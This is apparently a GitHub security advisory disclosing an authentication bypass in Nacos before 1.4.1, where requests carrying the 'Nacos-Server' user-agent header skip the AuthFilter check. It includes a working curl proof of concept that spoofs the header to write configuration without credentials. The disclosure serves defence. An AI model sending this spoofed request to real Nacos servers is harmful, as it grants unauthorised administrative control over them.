GHSA-36hp-jr8h-556f Authentication Bypass

• Maven com.alibaba.nacos:nacos-common: < 1.4.1 → fixed in 1.4.1

When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed. The following request to the `configuration` endpoint gets rejected as we are not providing any credentials: ``` ❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" {"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"} ``` However the following one gets accepted by using the `Nacos-Server` user-agent header: ``` ❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" true ``` Impact This issue may allow any user to carry out any administrative tasks on the Nacos server.